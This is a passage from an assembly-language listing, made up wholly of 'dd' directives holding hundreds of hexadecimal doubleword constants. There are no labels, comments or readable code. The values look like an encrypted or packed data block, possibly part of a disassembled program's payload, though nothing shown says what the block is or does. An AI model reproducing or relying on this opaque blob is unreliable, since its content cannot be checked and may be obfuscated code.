4F35F24Eh, 480729F0h dd 0D7352E88h, 0A5F9036Bh, 0B2974162h, 88590579h, 21D2F325h dd 1AF5C88Dh, 0B05D0EF7h, 6011E926h, 685B60FDh, 0D947393h dd 5DC7E9C1h, 0F6B6D82Bh, 0EE23629Dh, 0E95213F7h, 5369496Fh dd 87B0D13Ch, 7CDD4E4Eh, 0B49A1574h, 46F281BAh, 7F65AAA1h dd 90439D09h, 27937DC9h, 0AA4187E5h, 0FBCCE601h, 2F265150h dd 0B032D141h, 0F7501A00h, 68535549h, 616DAD1Ch, 46B1E944h dd 1209FFC8h, 0E556469h, 3344EE79h, 0EE30AA5Ah, 0C02ED9E9h dd 2FAAE22Fh, 40BF5389h, 0B029947h, 0D6E92594h, 0B27EA962h dd 1C29263Ch, 5A9BBD80h, 1F72F35h, 67B951D5h, 7F6DDC7Eh dd 8206901Ah, 0B2124E76h, 0E0BB42BCh, 1ECDBDEDh, 8C03141Eh dd 542608F7h, 0A7305F4Eh, 179ABE56h, 1789206h, 0F805A476h dd 35193F3Bh, 1634B068h, 8905D449h, 19C4042Dh, 79D2BD1Fh dd 0ABE92189h, 0E54F5696h, 22FBC0Ch, 4073ACBFh, 0F1F84A5Fh dd 102260C5h, 0B4982FFAh, 0E25D4024h, 3923E587h, 714D57F2h dd 8872A46Bh, 0BE006074h, 0BA2DB608h, 5EF12589h, 7759CA72h dd 0F2B707C3h, 4B97F988h, 0EB80BA5Ah, 0D3E38105h, 0E0775C27h dd 49152C15h, 51EC15Bh, 0B9BBFCBDh, 71604A02h, 0EBC6E943h dd 1B2BD004h, 49362580h, 0F1731478h, 0C97FE401h, 89E9CA01h dd 5639E43Ch, 1336F6DAh, 1BA4D25Ch, 0BEA040D3h, 467B750Ah dd 0ACBF757Ah, 53C0DDF1h, 12B41BB3h, 67DC281Ch, 0EBE7843Ah dd 43D9B561h, 0D926E3Ch, 20137039h, 6F3AA6C1h, 0D016DAB5h dd 81018800h, 264E20CFh, 2D563AD4h, 0E180C501h, 0DF1CC1Eh dd 28FE06C2h, 0D0B084C8h, 0EE368A4h, 7BC35274h, 31F8CBC0h dd 0C49037C9h, 42249802h, 0C9BAE915h, 0FF40C007h, 169DF480h dd 6058E628h, 1CB15137h, 95BC6B8h, 4907D1A3h, 0D26D0E50h dd 0A0DF4A91h, 0DFC581AAh, 0FA69F258h, 6DB44E1Ah, 67B5286Dh dd 0CCDECCFEh, 264EF22Ch, 164EE45Ch, 663B838Bh, 257D8FADh dd 8BF76554h, 0BD4A4F19h, 13E5D5Ah, 8596A7DFh, 3480468Fh dd 4E603AAEh, 8811615h, 8624DA42h, 2D6E0279h, 0A5C86A5Dh dd 7710607Eh, 6C35CAF1h, 8E28477Bh, 2D010B45h, 2136C06Fh dd 0F5E459CDh, 0B92ECE7h, 3949E975h, 670B29FAh, 807AE833h dd 877822E2h, 82C16818h, 47A602EDh, 0F3417D3Fh, 32B1BBFBh dd 6B5E0D0Fh, 0DF48F9DCh, 0AB4F1294h, 0B905A548h, 80EFD10Dh dd 156F1E6Ah, 6B0C5A60h, 0B01DE982h, 692F0945h, 0E0D2728Eh dd 635F0881h, 9FF24F4Eh, 4C9F3D10h, 0D1F0992Ah, 0E381896Eh dd 1CC640A2h, 0B57592Eh, 55B9CE19h, 4FE4BC92h, 4FF64F21h dd 83655F7Ah, 4B398B3Eh, 58547704h, 0FEA02CEAh, 6E911A5Ah dd 213ADF37h, 6ED068BDh, 285CE4DBh, 0B20E9C2h, 14C9DBA0h dd 0C1907A13h, 37331529h, 8D52F117h, 9DDBACBCh, 71D34E05h dd 0F40D3320h, 55700DD7h, 7D35A22Dh, 6BE9F1B8h, 0E371A0AAh dd 8708DD2Ch, 12681E61h, 0C1803442h, 0D3509503h, 0AEB2E74Bh dd 6C9C838Dh, 2BE8B5D0h, 2630031Dh, 5368253Bh, 0AC3D8AEh dd 0F058D0C7h, 9D85E955h, 76689081h, 0F0317B7Bh, 8A4D2690h dd 162813E0h, 5F7FD3h, 90172CD8h, 0C10B5B61h, 564B06E3h dd 0E2E904EAh, 5B38ECA2h, 8476EDA6h, 80A0E927h, 351C0512h dd 0E0F95ED8h, 10495560h, 684B9E2Ah, 28DF4705h, 0AAB52538h dd 0CEF6E8CEh, 0EB75D4Fh, 3B7F2D7Bh, 0DE4190BAh, 7C9C2A18h dd 56EB6B3Bh, 71988344h, 126FBE41h, 90216475h, 0A9A5E918h dd 0EAF78DC0h, 2F9E54CCh, 0F600FB29h, 11594250h, 124A1EC1h dd 0E91158AEh, 6E54D273h, 0E406044Fh, 88051593h, 261780CCh dd 58B4C231h, 5EC1D2F7h, 1D090B03h, 9C3AFE00h, 0EEA00C4Bh dd 0F3574C21h, 0A5904726h, 590C384Ch, 0E508C668h, 911E5AF0h dd 7B9D3D30h, 5037758Ch, 64410E33h, 81C74352h, 225E9C62h dd 0F10F10CEh, 0CA50A24Fh, 880BE8F7h, 0E2D65C5Bh, 0D6FA43C3h dd 8361FC91h, 0E17C02C2h, 79E92189h, 3105CEEAh, 42C675A5h dd 44D554CBh, 5E97A850h, 52204739h, 912168DAh, 0DD494FB1h dd 1AA6E859h, 77B65117h, 27D4E909h, 128CA756h, 0F8BF0858h dd 871C54E1h, 5ECBD09h, 52001D9Eh, 0FD16D4BAh, 0CA81041Ch dd 0FC094E0Fh, 0F6FE05B2h, 7FAF405h, 0E2B025C4h, 918573E4h dd 9952B3DCh, 412F4E1Ch, 185BFF7Dh, 0A4776835h, 0EAF720FAh dd 0E73BA3FCh, 0E6E902CAh, 0D86F6B1Ch, 400C2767h, 0D013C0C5h dd 7E683DB1h, 0E55AD3C4h, 0EFEB60F3h, 501D3D56h, 594370Fh dd 60AF9124h, 633084h, 36BD5317h, 2960ACB8h, 0E58301BFh dd 0D07A4D04h, 8D011C58h, 528F1044h, 134CD55Fh, 6017FF73h dd 752911F2h, 6102D4BEh, 6A28454Eh, 1F00DD7Fh, 3F7D0E12h dd 6221E92Fh, 6D1A5FA7h, 4020F15Ah, 18949060h, 0B3BF8EEh dd 0A7FEEBB0h, 0B1D94162h, 0DE65E168h, 54204975h, 6BB49437h dd 2F1B2D91h, 0BF171737h, 0A42CD003h, 0CB999981h, 6BC51968h dd 0C7410449h, 0FFDAC427h, 0F6127A18h, 10FD7EBAh, 125EF109h dd 640B11C9h, 579B61DCh, 0B7EE1220h, 217DCF62h, 20456861h dd 0E9C4B072h, 0EB2EA453h, 1C262BFAh, 4006707Ch, 687C070Dh dd 34081CF3h, 5E14091Ch, 0B820F4E4h, 27CC80E6h, 824535C5h dd 6101822Ch, 3EE91948h dd 5AA41B4Fh, 339DBC43h, 0B89CF0A6h, 0EC59A207h, 0C181050Fh dd 85CD283Dh, 0FCAE2618h, 514A372Fh, 1262A7C2h, 0DA397060h dd 0EC3713B5h, 0E98201A2h, 925E1974h, 0E102FAE8h, 76239665h dd 8C61436h, 6198E64Eh, 54A26859h, 957A2276h, 0B1F6200Bh dd 6F4F2A1Ch, 0D8EB8934h, 2A424C6Fh, 0D97D9D03h, 8188493Bh dd 4B029FF1h, 0CA211A33h, 0DFF06359h, 907AC650h, 9F92BF3Fh dd 0BA0343DAh, 0F7608112h, 0A4F9B8D0h, 0E0024F90h, 0EB272193h dd 0A43C7A5Dh, 50D89896h, 12DFE903h, 0B10538Dh, 3FA1FAD3h dd 84EAD15Ah, 0BA010374h, 7FC401AFh, 81326B0Ch, 9AB39F0Ch dd 97F894Eh, 92F4EBE8h, 5616982Dh, 0B4904BBEh, 5CB4DF11h dd 0EB54550Eh, 0EFDA1057h, 4B71F8FEh, 0C28A8407h, 0A075B2DDh dd 0B55152A6h, 0DDF6003Fh, 8007E5C0h, 759017C5h, 0EA095999h dd 704FFC99h, 67C0ED51h, 2C796CEEh, 0C6012869h, 580881E4h dd 28949F73h, 0D8EF7517h, 0C17C0141h, 56A32435h, 212E29AAh dd 8011809Dh, 0D2F696E2h, 27C27CFEh, 0D5E42569h, 4E49E4B5h dd 5E8B8207h, 7EB9BA7Fh, 0B6CC2F48h, 6F0E6812h, 0CCC63063h dd 57DE2BA8h, 0D124576Ah, 69D6D37Fh, 0C051CB8Dh, 0B6E84236h dd 21D64BF3h, 6170A102h, 5C0E0016h, 9E9867A9h, 21E8EF7Eh dd 5989062Eh, 0A5B0F396h, 0D83126ADh, 39190884h, 7908253Ch dd 57900833h, 0D6246524h, 0B8F3CC6Eh, 14CC982Ch, 0CF4313FFh dd 103CFA2Eh, 2E054CA1h, 2109F202h, 45FCD9F6h, 68B84003h dd 24757219h, 331D97A0h, 0C179C507h, 0D58004E0h, 39B4B06h dd 0E958C689h, 850254D3h, 7B0893C1h, 0F45603Fh, 0C69BA47h dd 0F8895DEFh, 0E44E5EE6h, 49827327h, 37A35F13h, 97009C93h dd 105D7AE5h, 0FA56452Dh, 0D13C4894h, 54810C89h, 89109B68h dd 0DEBACCB9h, 853896A5h, 5570B34Ch, 742CF103h, 984F7971h dd 5C92AF3h, 957DBBE2h, 478F8BD6h, 0D99D2CD3h, 0AE9C842h dd 0F00646ABh, 0D8D449A1h, 20EE450h, 0C16B5347h, 59FC06EEh dd 0F02EF601h, 2BBBA2h, 563A05A2h, 0E9124A8Eh, 0BAB23F17h dd 59669D0Eh, 0D314D346h, 10D7E2Ch, 6AF3898Bh, 52447E59h dd 0F4E28C7Ch, 0C4135D97h, 633195C1h, 3A648B8h, 472852CCh dd 0E23BE8BBh, 0D79436h, 0B02AA2Dh, 0BE2AE922h, 0F8B8EA9Ah dd 0B1E25A4Eh, 69C0FF66h, 223E2D00h, 5E687D50h, 0A2E0A83Ah dd 2A8981F6h, 67E144D0h, 663F4866h, 0F9504506h, 34138E19h dd 0EB00BD16h, 592106E1h, 8160B40Eh, 7264BC9h, 191E8267h dd 0C00DDF4Dh, 2D37EF00h, 88D05FB2h, 0C9984F50h, 8D648091h dd 301D93BCh, 0FDADAC3h, 46AB6F40h, 5245CA2Fh, 0A2B320DDh dd 53AEB906h, 8807836h, 6F61070Fh, 0EC03D40Fh, 18400C71h dd 2418132Dh, 0D00207Fh, 7BBD556Ah, 0D7A1D21h, 15DE929h dd 0B3677A9Eh, 1A9D52C9h, 0ADCF685Ah, 0BAFD3EE2h, 39B5606Ch dd 0C61BD33h, 127D3915h, 0F5CA5EF3h, 6865A45Eh, 93CD235Eh dd 41450F20h, 9FB900F5h, 0EDF37774h, 80B32401h, 8832F109h dd 42B65C8h, 0C020772Ch, 80EED00Ch, 23FCAFEAh, 0E9F02805h dd 70EB1F87h, 776850FDh, 0BC8C345Eh, 0ABBAF4h, 0F233DF2Dh dd 72150553h, 18385E4Ch, 8888FAF1h, 3C1BBBFDh, 659EB13h dd 0ABA68502h, 5A36C13Eh, 737196E6h, 5818706Eh, 80587F0h dd 0AD03EDC0h, 0E9E80657h, 0B542EAFFh, 0C43017C9h, 2EC29EFh dd 0D4C314F5h, 0B507F45Fh, 0D444723Ah, 0F9FE0EC6h, 0BFFD809Fh dd 97FE6A15h, 0D6F8D2F0h, 652F109Eh, 1A3E28ACh, 209629E9h dd 87063253h, 7D0F53DAh, 41D949E9h, 1344B104h, 0B3758256h dd 72C50680h, 3F4FD66Ah, 0A2ED4DB0h, 33863108h, 91124678h dd 2DE2E338h, 0BEA64142h, 580676FCh, 2034FA5Dh, 7974F90Dh dd 4F5F2A40h, 0F284D85Ah, 2592C69Dh, 0DF5C4D68h, 5C975667h dd 1770B6F3h, 0E2974948h, 3A813075h, 5AF80717h, 8432E347h dd 62EC1F3Bh, 8C422188h, 815C0095h, 531F02CFh, 320B4956h dd 5069E827h, 1EC02851h, 2ED307ECh, 52294C8Eh, 45EAFDE9h dd 0A14CE80h, 10F67365h, 4E914C49h, 3594C93h, 156DBF67h dd 0D8D14DE3h, 0A6203E13h, 6600ABAh, 0E2C177A5h, 87027808h dd 0F7393E45h, 0EA5241DAh, 1CF5D007h, 2E1F312Dh, 8E52EB89h dd 14687042h, 9E9BB801h, 678A395Eh, 12F0C8D0h, 0C4ED2E12h dd 7652BB4Bh, 2F9F34B9h, 2A52E642h, 39423504h, 4BEE06F1h dd 0DF408E8Fh, 34593768h, 0DE7F8486h, 0B7140D12h, 0B3CC6A97h dd 0D42FEF5Ch, 0B105BC44h, 9672B6A7h, 68E6829Fh, 35A10D45h dd 0CF0BF4BFh, 0E60455DBh, 58CF0462h, 43B2C601h, 67D84757h dd 634C02B5h, 689497C0h, 0E9A42E09h, 4D4C41C2h, 0FAA7C20h dd 8914BA41h, 32F95DABh, 0CADE313Ch, 0EF04AD64h, 8FBC1F13h dd 5611E9B0h, 109F8ABCh, 0C19480Ch, 0FC5C129Eh, 6D0F547h dd 14830C08h, 0BDBE6414h, 163C887Dh, 10E8B8D7h, 77735809h dd 0A7C8B183h, 0D29156A2h, 6E5DBD00h, 0CC3C6F19h, 0E3CB1385h dd 0EEC54AF1h, 69ADBD00h, 4FC144ABh, 0A45880E6h, 954C6D35h dd 0EA2015h, 80619CBBh, 74C38168h, 2C391116h, 0F58031C4h dd 58F679CBh, 6E60AF07h, 21EDB053h, 126B39F9h, 60B81C70h dd 3021AAD2h, 0CB7B2E57h, 0B850006Dh, 524979F6h, 0C1D000F7h dd 4C3503E0h, 6D1AB430h, 5958C701h, 31740210h, 0F78069A1h dd 6B8F73D7h, 1CD0017Ch, 0B0553508h, 0B04E2483h, 0CB03F8E9h dd 0FAD2D999h, 79ED422h, 35E37CDh, 75E56014h, 0A40416Ah dd 0B60CD874h, 215B5DEEh, 502C5AB2h, 0E84E0824h, 9FDBD13h dd 136C0110h, 3ED5E5Dh, 83D82A8Bh, 89234597h, 392A9341h dd 5589250Dh, 0EE232E60h, 893F02F6h, 9601DDC1h, 0FA85CF04h dd 5AD72903h, 3F5FF9F9h, 0EE6057D9h, 6B751236h, 0E9CD0543h dd 4EB9A8ECh, 0C3C0A2E2h, 54867D39h, 918E92Fh, 9890FEF8h dd 4D134C59h, 683F5804h, 96B92785h, 0EC3047C5h, 18F8E467h dd 0B371E9A0h, 4A606C95h, 75592159h, 93417EAFh, 3DF410E1h dd 8E7507Eh, 48382575h, 64EF277Ch, 6AD89299h, 75D84C21h dd 83A20127h, 5C0CF9FDh, 0C8DB002h, 3E910574h, 0D516EC60h dd 20E8FBE4h, 5B7CEC93h, 213EAE3Dh, 0D09D37Eh, 0E2A47C38h dd 35F4C485h, 0C200012h, 29527141h, 4F647FEDh, 0F2F40D19h dd 3F14DF90h, 0C607AB68h, 32B3EDAFh, 0BF615683h, 6DD86A9Fh dd 8DB75ED0h, 572024DBh, 3FBEBF04h, 26C01997h, 5C009C8h dd 0E9F72968h, 0FA0A95CEh, 757ABA00h, 135B637Bh, 22244F31h dd 84EAA00Dh, 0B3F0A0F0h, 27D09B4Fh, 92D1F707h, 6D860F1Ah dd 0BD163188h, 3763108Fh, 0B195A150h, 60DF0F89h, 0D5F75180h dd 17C1ED83h, 0E6879099h, 8120A320h, 8D677F58h, 59ABB8D2h dd 0A5561D69h, 7C2F874h, 0FEC20BA1h, 7C490159h, 0FA15A0Ah dd 284A2368h, 0C029CB54h, 0B90966E8h, 914B0841h, 16BB782Dh dd 2458D18h, 0A41BA54Bh, 0E4500075h, 0C1596063h, 0E9454DDEh dd 48D23C36h, 0D0118F5Fh, 49C0680Ah, 0FD54493Ah, 501EEFA6h dd 802B5519h, 188F170h, 0D80459EAh, 202CD028h, 9B5AB08Ch dd 29BA0E52h, 0C8E01151h, 90E978FFh, 0CB7A2ED6h, 0BB530B00h dd 5F689Bh, 1F21BD1Dh, 0DD2911E8h, 802CE92Fh, 0B4B5515Ah dd 8414C8F6h, 0A5F2F9AFh, 520F99C5h, 0F35DA068h, 25E95A6Fh dd 0D7760F90h, 103CA367h, 0E62F9888h, 8D595CCAh, 4F211654h dd 0BA73D4D0h, 50977761h dd 30840B78h, 21092E8h, 5816626h, 0E95305B7h, 7AE91Dh dd 8F3315BBh, 14EB8140h, 0B089AA90h, 5E23CE7Bh, 9850FACBh dd 334BBADFh, 0AF405326h, 0E6E96918h, 3374D14Eh, 69B37881h dd 0B86D40C5h, 9B2AA34Eh, 289800E0h, 43304D1Eh, 6AB8514Bh dd 0C822AFF3h, 0EF61B9Eh, 20E580D5h, 0FEA3F561h, 17EF69C5h dd 64E4EFEDh, 91A46219h, 30C1E4F1h, 6B4E219Fh, 60935488h dd 5BC623CFh, 6F60124Fh, 0DFBDE10Ch, 51029D8Ah, 255ECD01h dd 803BCA58h, 51CD001h, 36013F46h, 60AE685Ah, 50806B57h dd 4A1E3765h, 460E355Eh, 0BD7F74Bh, 0FA36BA80h, 24BFE891h dd 0C11B82DBh, 6094A1A7h, 0C8353EDh, 570C598Eh, 1002D9C3h dd 38F48756h, 5215E89h, 844B9EEDh, 8817AAB3h, 5E1806F6h dd 8F69C941h, 351A30A0h, 25B064F0h, 2620440h, 0E9688648h dd 0F859EF9Eh, 17332EA5h, 592730ACh, 2DD3AB09h, 0EF21CC92h dd 26166761h, 0F68BB100h, 0B6C180D1h, 0F89C30E9h, 0FBDEE89h dd 0C8567C38h, 0CFDE1398h, 9DC364ACh, 0EA2E6950h, 667041FAh dd 818C9143h, 0D102EFC1h, 0BC9F70E7h, 0A622444Bh, 0A19E1009h dd 0F763A2BEh, 0C7EF2DB8h, 0EFCF8868h, 72DF6102h, 75DB04E9h dd 6CDEFDA0h, 0E2B55F6Ah, 0E4827D31h, 62D1378Bh, 0AE19D16Eh dd 2AAD408Eh, 4BFC6800h, 0C14D0Eh, 0EA8103E2h, 459B5B0Ah dd 57EFE29Dh, 7241A06Ah, 5A106C99h, 3192BFA2h, 2F2BE9E8h dd 0E5E1B74Eh, 0AFC9D73Dh, 9553E4F8h, 0E7201AC6h, 0EB0406E3h dd 452CBD68h, 24941320h, 14B2E5D0h, 1784FF06h, 0FC801633h dd 90890363h, 32902513h, 0CA02F171h, 5C42B015h, 5E05503Ch dd 33D1FA04h, 0F5ED35E9h, 0C7FCEF30h, 963046EAh, 51470C3Ah dd 1D0B5BF3h, 8F7ACAAh, 5D13ECD9h, 0F871A07h, 0E3C124F1h dd 4D51017Bh, 30362F46h, 0C5FE426Fh, 5C01743Bh, 5D084056h dd 0F70830C2h, 0CAC3E2D3h, 1B86D676h, 0D7E0632h, 5E8DD825h dd 2F24CAE6h, 8B5C7A89h, 0D5A70552h, 5CF522BFh, 3BB799DDh dd 0A7D8105h, 0D25802BCh, 0C34B4B4Fh, 3850FE00h, 3DAB9B13h dd 0D6681409h, 65A0DC5Eh, 3B63E1D4h, 637E5DCAh, 0C3013F7Ch dd 485933A1h, 4A97F5F8h, 97AF3FFh, 0D1D1B074h, 49ADA632h dd 747E5C74h, 0A27B13E8h, 0A2977Dh, 0F6D8899Ah, 304A22F0h dd 660E6EB3h, 0F51608B3h, 62E42E17h, 17C9E19h, 3A57AF2Dh dd 34AF307Ah, 44A3614Fh, 5C02BF02h, 7AFE38B0h, 0BB31F305h dd 47FA17D4h, 82C3290Ch, 0A7B2B3AFh, 0DAF20843h, 55E95FFEh dd 0E5EE832Dh, 5CBF62D3h, 0DE9A478h, 0B34AB885h, 0F626792Fh dd 0C64013F7h, 0B03F676Ah, 0C4AF831h, 49E91F9Ah, 2D04403Fh dd 0D5344B01h, 3F890B1h, 3277BAB1h, 97604FEEh, 6A15266h dd 0E1E00D66h, 0FD98B56Eh, 0F6007025h, 8433BE0Bh, 2F2948DBh dd 46D259CEh, 0C8F0E912h, 0AE046D65h, 0AD10AABEh, 71781201h dd 42FE31FAh, 0A1DDF7A3h, 8C4DE9F9h, 50592880h, 0EA4F24B8h dd 90254900h, 0E9605F45h, 8858FBC4h, 48532A68h, 36544E59h dd 0E70A702Bh, 0E518607Dh, 560DE31Ah, 89680A5Dh, 20552077h dd 6696CB1Ch, 7CAA926Fh, 71955E60h, 71E9E188h, 0E5907BC7h dd 7B9E4C50h, 0F4273047h, 1A1FF217h, 0D1770826h, 900EC001h dd 5D2231E2h, 82B2E250h, 261C7E41h, 53EA0073h, 0DBF6EEB3h dd 7EB25C0h, 0B399354h, 620EE993h, 0B637471h, 57DE2B1Eh dd 0C5BE5669h, 0A7DF445Ch, 50BFA4F6h, 79A55207h, 2950CD81h dd 5FF71B57h, 7BA48DDDh, 0EDCFAD1Ch, 3BF58002h, 2E365FC6h dd 4910EB29h, 344AB150h, 0D6B139C5h, 684A178h, 0A230AEF2h dd 547616D2h, 770DAA43h, 0B0264A35h, 0B1CA870Ch, 65028653h dd 555B5616h, 0C0830AE5h, 304A627Ch, 579A08A0h, 52123FC7h dd 9EA4EB21h, 0D837416Eh, 0B54C5173h, 9A5E1911h, 0D8C8D391h dd 0BB5A005Bh, 43970571h, 35CF9FE9h, 0EABD365Dh, 59410125h dd 885000CFh, 9F41F0E8h, 0FA68C681h, 14F542Fh, 9343B6BDh dd 87B312Ah, 1AC150A6h, 0D0518E9h, 75D61DD1h, 0B0578632h dd 829F1B90h, 0FE27AAF2h, 8A4FF1AEh, 4097157Eh, 18872C14h dd 0ACF00AB0h, 5B237F82h, 531005BBh, 5C008A8Dh, 0A685557h dd 5CDE8E6Fh, 0D3201913h, 5CA9DE49h, 5B2C1DA2h, 3194A45h dd 13ABF6B5h, 250EFC59h, 9121665Fh, 63E962ECh, 0E25C65DAh dd 16125BE8h, 0F86928EAh, 0F93C2741h, 0BF5465D6h, 0AA48DB04h dd 0C8018804h, 274FC299h, 597FEDCFh, 0B90091FCh, 699E6B59h dd 601E1C1h, 1555F181h, 0C27F4D5Ah, 5CCAB487h, 0F3FBEF63h dd 60CB49B3h, 3FADE3B0h, 27FA7964h, 7BAD290h, 0ED392624h dd 5EEA06Fh, 17D35E23h, 4501EA09h, 0AE2889C2h, 0F9DCFF70h dd 0EE585C3h, 0C82FB3E5h, 1143DFBh, 25DFF1DBh, 7210FE4Ah dd 0A78FD42h, 0AEF05B4Bh, 784B180Ah, 0B9620D72h, 5DB6354h dd 0A523AC02h, 0D011E961h, 0A5CCBDF5h, 2515E595h, 0AE88A859h dd 9F06A4Bh, 0FC5ABE51h, 503D140Fh, 0CF2F657Dh, 773962A5h dd 1B9B124Eh, 0EEBBCBB6h, 2B5808BBh, 0F713780Bh, 141F3870h dd 7FCB459Fh, 0EB53DC46h, 89596F76h, 95B987Ah, 8A497BEDh dd 40760D9h, 4A7DF679h, 2CB8B31Dh, 8993AC94h, 0F2013505h dd 4E6830CCh, 0BE2B30DDh, 2D5C86C1h, 8B0C1667h, 306CF766h dd 5D312868h, 0E92F5A55h, 0C74AA2D1h, 931C2535h, 60DB502Fh dd 0F37C989Ch, 384EA8FEh, 1DC38C90h, 64CE0B6Ch, 497ECAE9h dd 0F6C9FE82h, 505276D1h, 7376E951h, 0DA905892h, 714ECD04h dd 0AE3F9Fh, 1CEC570h, 0E97649D6h, 0C0B439F3h, 0F468595Ah dd 8DCCBD24h, 0C748319Dh, 6005A330h, 6F5D0C30h, 0EFBC5BEFh dd 0A008D13Ah, 71FF140Ch, 1957D233h, 26EDE90h, 0CB0158DDh dd 628E96E0h, 73231E2Eh, 8060E802h, 4BE54268h, 555CB2CEh dd 4754A1ECh, 1716358Ah, 0DA0CDA62h, 74CD18C1h, 36BF2D73h dd 74C2BDAFh, 0D42178Fh, 591DDBF6h, 6CB9AD96h, 69FEF73Eh dd 9310FBEFh, 51B64472h, 63D76841h, 2611CE2Eh, 4C932C3h dd 72A2028Ch, 55FAE04h, 1EB525h, 4C42E908h, 0F505B6BBh dd 1FAAAF28h, 136CBE2h, 54979A7Ch, 65591F4Ch, 0E8DA4B28h dd 0C280B011h, 0F62FE1C8h, 3F522C8Fh, 0F3885305h, 5E87D8C2h dd 2E0253E6h, 7FA30BBAh, 5FA0F0FEh, 5FDAF431h, 0F9D8029Dh dd 0E9B9DEB8h, 5E8165Ch, 0C996C8AFh, 0AC34C288h, 3FDBD830h dd 0D2090F0Bh, 14F10452h, 0A0295E94h, 955B650Fh, 46C60D40h dd 65B9427Bh, 1C310BC2h, 30FCD2DBh, 5F6856DCh, 0FD40156h dd 80E52877h, 3DFBB951h, 0F04C4DE8h, 9614722Ch, 7790A8Fh dd 0B850808Ch, 16A27D80h, 58C72912h, 79597500h, 5FE96F64h dd 0BE4E01A5h, 302168BAh, 1241B2E6h, 54AD5E7Bh, 0E081ADD4h dd 593FF768h, 601E4DF5h, 8C53D124h, 7E5D25ABh, 60E978B9h dd 885885BFh, 6DA90DFBh, 103778B5h, 31122364h, 47D3D1DFh dd 0C3A32AF7h, 685AF002h, 92D91617h, 18BC0A88h, 3EBE7659h dd 2677533Eh, 589DD92Ah, 2F532593h, 2CECA206h, 45554EF1h dd 92B60FE7h, 0EC57EFC5h, 95C7FC0Ch, 5E720ACAh, 4B865020h dd 0B79B305Ch, 0B0FC66E3h, 3630B526h, 1E533F12h, 512F33ACh dd 123DDD73h, 68C8DD5Ah, 90605B8h, 0C04023CCh, 0DC33F6D7h dd 0F1DFE930h, 768E4BDh, 0C5835BE6h, 0CBF7D6FFh, 95E26FA3h dd 3634FF0Fh, 4D1C41AFh, 0BEA9489Dh, 89F6AF84h, 0EC93F6A6h dd 9A9754C0h, 0A65C83B0h dd 0E970D057h, 7804979Bh, 2C49BC51h, 5B97FC59h, 4AC33040h dd 0BF845094h, 6F096280h, 0D532E91Ch, 433197DCh, 41D39A8Ch dd 0C917DDCEh, 967ED9CCh, 2824729Ah, 0B658F3D3h, 0EE800ECFh dd 76EC087h, 2862C6CFh, 1B6A5AF3h, 0D062CAF1h, 5F12043h dd 945BFEB8h, 0E9619BB1h, 4559107Fh, 2D7EE4D0h, 0A4120FEBh dd 9FB9EF40h, 16BA5D58h, 7CCCEBFh, 80BCBC5Eh, 0FB7985E1h dd 0D958F752h, 0FA600141h, 3EE9AFB4h, 0A2AD1934h, 4C23F71Ch dd 80B9D030h, 0EC81AA15h, 74851B20h, 0AFC058B3h, 0BE592C4Ch dd 1EAF5926h, 8839E03Bh, 34A548ECh, 11A8EF4Bh, 8C02CD13h dd 90F45642h, 0BE0B27BAh, 0D72869h, 236284E2h, 0B4294C68h dd 8CBC4F77h, 3FF3D768h, 4B2B399Dh, 794051FCh, 6677C4FEh dd 3B75B538h, 0E3E350ECh, 9EC07B7h, 5D2CC332h, 0C5AC72CBh dd 0D47982EDh, 312E0278h, 87173FD0h, 0BA5BB582h, 7D7192E3h dd 369CEB00h, 0D8806802h, 6955283Ah, 5ADE40E7h, 9D94EBB0h dd 1F0B393h, 9F539754h, 32A56805h, 6E6095CDh, 0CB060514h dd 83C15823h, 9090350Dh, 52174FF9h, 97ACC289h, 4E61E62h dd 0B30296FCh, 89966AD7h, 5254DCB9h, 9DAB96FFh, 757E41C0h dd 891D6E09h, 0F0FD8BF9h, 96BE2755h, 0C7DC40A7h, 2D5E9B0h dd 0E0EAC197h, 273E2B0h, 83100C04h, 327401C2h, 81D21708h dd 631432C3h, 5BEBFBCDh, 0A055BAF2h, 0E366AFE0h, 9015B035h dd 22081661h, 0A0151309h, 26E34457h, 2F8A4018h, 6FD21E4Ah dd 0A2C32040h, 477BFB37h, 537F49h, 0F0681425h, 2D8F70Eh dd 0DFF92D40h, 46C0FD6Fh, 256002E9h, 5675EB3Fh, 14F09DDh dd 0B1CB5BD9h, 6E04D880h, 9835395h, 25E6536Ah, 0AB20BA5Eh dd 798ECD81h, 64A4832h, 0F46D707h, 0C4DDF457h, 15ED1FCh dd 5B1E82F5h, 5764903Eh, 4E5757C2h, 685509D2h, 9DE41DBCh dd 775AB2B7h, 0BCD7D489h, 1F9A9F4Dh, 59A48177h, 803B4BF1h dd 78C01278h, 107BD8A3h, 0CCCEB405h, 6D86D501h, 0C0E5956Ch dd 68FA6435h, 0E14AF6F4h, 0CC0939ECh, 0DEC64A68h, 45BCE914h dd 77BD80B9h, 7D011563h, 914AFBh, 0C2C58063h, 112D6866h dd 0C35AAF51h, 0E0E530D5h, 16DDF658h, 4F12E952h, 0F39289F5h dd 2002580Ah, 0B388CBC6h, 82BD29E8h, 0C6EC16D2h, 0E7AFDCDEh dd 51C26359h, 6E591168h, 336D3B07h, 904DE931h, 0EB00D332h dd 15D00457h, 12C05E53h, 610C28F6h, 0D836C00Dh, 4E67EF4Fh dd 0C20BBE98h, 0C1205223h, 8804376h, 0E4CB8107h, 15768A40h dd 93BF339h, 0D831A33Fh, 94D1201Bh, 9AC93A0h, 89690D10h dd 12082D7Eh, 55ACDD64h, 10AF504Ch, 2E752A02h, 4971823Ch dd 92BF99DBh, 36B4ACEDh, 0BD944A24h, 0D231C58Eh, 0C930D099h dd 8D6D16CDh, 0BABB944h, 2A97A7Eh, 1200A56h, 97624868h dd 94C4710Bh, 4E279ABBh, 5BC6DDA4h, 2F41DDB0h, 40DFFAB4h dd 0ED398021h, 96F5928Ah, 25FE42B4h, 63D8F8E9h, 0AB67E59Dh dd 2770A4A0h, 6E65C12Dh, 0A992508Bh, 1DCA90BAh, 7F440D17h dd 0CBB878E9h, 9A06AA52h, 0C41DB66h, 576E3616h, 109F9309h dd 324CF84h, 0C139B443h, 0F7C904E7h, 9199ECF0h, 5FFB3112h dd 0E982DBE8h, 99D5BBEEh, 753586BDh, 0CA7DB22Eh, 0F922E44Bh dd 10C9884Ch, 0FC4AF094h, 52D8C23Ah, 8209A950h, 0D846E92Ah dd 3F5A487Fh, 90D89617h, 513D0D9Bh, 2C57743Eh, 74A70D2Bh dd 1D45A6EBh, 1238C02Dh, 5F02902h, 815C07A2h, 25C74288h dd 0EEE24B7Ch, 8E96DF80h, 40E62D05h, 0EFE1BE0h, 4AF05F64h dd 4DCBB2A4h, 277EDD77h, 5EEAFD18h, 0C66D5C5Ch, 0BEF8C47Bh dd 0CD641E21h, 0BEE67197h, 0BB0E8018h, 